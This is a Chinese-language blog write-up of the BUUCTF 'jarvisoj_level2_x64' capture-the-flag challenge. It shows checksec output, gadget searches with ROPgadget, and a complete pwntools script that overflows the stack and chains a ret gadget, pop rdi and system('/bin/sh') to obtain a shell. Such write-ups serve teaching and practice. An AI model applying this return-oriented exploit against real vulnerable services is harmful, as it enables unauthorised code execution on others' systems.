首页 > 其他分享 >jarvisoj_level2_x64

jarvisoj_level2_x64

时间:2022-10-26 15:25:19浏览次数:88  
标签:r14 r15 x64 pop level2 ret jarvisoj

【Write-up】BUUCTF Jarvisoj_level2_x64

原题链接

checksec 查看架构

$ checksec --file level2_x64
[*] '/home/peterl/security/workspace/level2_x64/level2_x64'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

看来该程序是 64 位的,而且因为 NX 不能使用 shellcode

同时,64 位系统调用 system 还要注意栈对齐的情况,要准备一个ret的 gadget

ida 查看伪代码

我们先运行一下康康:

$ ./level2_x64
Input:

Hello World!

看来有一个输入口,有机会栈溢出,我们用 ida 看看

202209081747592022-09-08-17-47-59

这个vulnerable_function属实是有点大摇大摆了

点进去康康:

202209081749192022-09-08-17-49-20

这明摆着是要栈溢出然后调用 plt 表中的 system 函数

构建 exp

寻找 system 函数地址:

202209081801162022-09-08-18-01-16

要注意的是,直接用readelf -r level2_x64命令读到的是.rela.plt 的符号表(涉及到延迟绑定机制,具体可以看这篇博文

寻找"\bin\sh"

$ ROPgadget --binary level2_x64 --string "/bin/sh"
Strings information
============================================================
0x0000000000600a90 : /bin/sh

还好有现成的,不用自己去构建了

寻找两个 gadget:

$ ROPgadget --binary level2_x64 --only "pop|ret"
Gadgets information
============================================================
0x00000000004006ac : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006ae : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006b0 : pop r14 ; pop r15 ; ret
0x00000000004006b2 : pop r15 ; ret
0x00000000004006ab : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006af : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400560 : pop rbp ; ret
0x00000000004006b3 : pop rdi ; ret
0x00000000004006b1 : pop rsi ; pop r15 ; ret
0x00000000004006ad : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004004a1 : ret

Unique gadgets found: 11

可以找到pop rdi;retret

0x00000000004006b3 : pop rdi ; ret
0x00000000004004a1 : ret

然后我们就可以构建 exp 了

注意,我们在一开始可以不加ret,试过一次如果出现 EOF 再加,如果加了还是报错就说明不是栈对齐的问题

完整 exp


from pwn import *
from pwn import p64, p32

pss: bool = False
fn: str = "./level2_x64"
libc_name:str = "/lib/x86_64-linux-gnu/libdl.so.2"
port: str = ""
if_32: bool = False
pg = p32 if if_32 else p64
context(log_level="debug", arch="i386" if if_32 else "amd64", os="linux")
if pss:
    p = remote("node4.buuoj.cn", port)
else:
    p = process(fn,env={"LD_PRELOAD":"/lib/x86_64-linux-gnu/libdl.so.2"})


ret = 0x4004a1
pop_rdi_ret = 0x4006b3
bin_sh = 0x600a90
system_addr = 0x4004c0
p.recvuntil(b"Input:\n")
payload = b"a"*0x88 + pg(ret) + pg(pop_rdi_ret) + pg(bin_sh) + pg(system_addr)
p.sendline(payload)
p.interactive()

标签:r14,r15,x64,pop,level2,ret,jarvisoj
From: https://www.cnblogs.com/peterliuall/p/16828478.html

相关文章

  • VMware安装中标麒麟Linux_server_x86_ZX64(兆芯版)
    VNware15自行百度镜像下载地址:NeoKylin_zx_linux_server_x86_64.iso(试用版)系统要求-512MB物理RAM(推荐使用1G以上RAM)-6G以上可用磁盘空间-800x6......
  • Nacos启动报错:Please set the JAVA_HOME variable in your environment, We need java
    可能原因:1.JDK版本过低(应不低于1.8)2.未设置jdk环境变量(可能性低)3.jdk环境变量设置不适配nacos(博主就是这个原因) 解决方案:1.直接在startup.cmd文件中设置JA......
  • Windows 安装 MySQL 5.7 x64 位
    下载地址:https://downloads.mysql.com/archives/installer/安装网站上只有x86没有x64位,之前下了x64的zip包,配置比较麻烦,其实这个x86包里面,已经包含了x64的包......
  • x64_dbg——类似ollydbg(OD)的支持64位的一款反编译软件,ODB仅支持32位
    x64_dbg是一款功能开源且强大的Windows应用程序32位64位调试器软件,其实说白了x64_dbg就是类似ollydbg(OD)的一款反编译软件。Anopen-sourcebinarydebuggerforWindow......
  • nacos启动报错ERROR: Please set the JAVA_HOME variable in your environment, We ne
    昨天在docker上跑了一个nacos,今天就寻思在本地上安装一下nacos,然后安装步骤一切正常,然后在配置自启和以systemd的方式管理docker后进行启动,出现了报错1ERROR:Pleasese......
  • x64dbg 实现插件Socket反向通信
    编写一个带有socket通信功能的插件,x64dbg运行后,用户点击链接按钮可直接连接到外部的python中,python作为服务端,当x64dbg内部出现某个事件后,自动将消息推送到外部python脚本......
  • GO语言自学_001_环境配置_windowx11_x64版本
    下载地址:https://golang.google.cn/1、看到那个下载按钮了么?点她!2、点击download到这个页面,根据电脑自身系统配置下载包。3、下载完毕后,运行.msi文件,一路next就可以......
  • x64dbg 插件开发环境配置
    x64dbg是一款开源的应用层反汇编调试器,旨在对没有源代码的可执行文件进行恶意软件分析和逆向工程,同时x64dbg还允许用户开发插件来扩展功能,插件开发环境的配置非常简单,如......
  • win7 x64位 下安装 Vue 开发环境
    一、安装nodejsNode.js是一个开源与跨平台的JavaScript运行时环境在nodejs官网 https://nodejs.org/en/ ,下载最新版本,发现nodejs最新版本不在支持win7系统选择n......
  • c++ x64 读取指定线程TEB地址
    调用微软未公开函数ZwQueryInformationThread网上挺多帖子说得到的地址值为全c,查阅部分资料后发现64位系统与32位有一些区别,主要是_THREAD_BASIC_INFORMATION结构体的长度......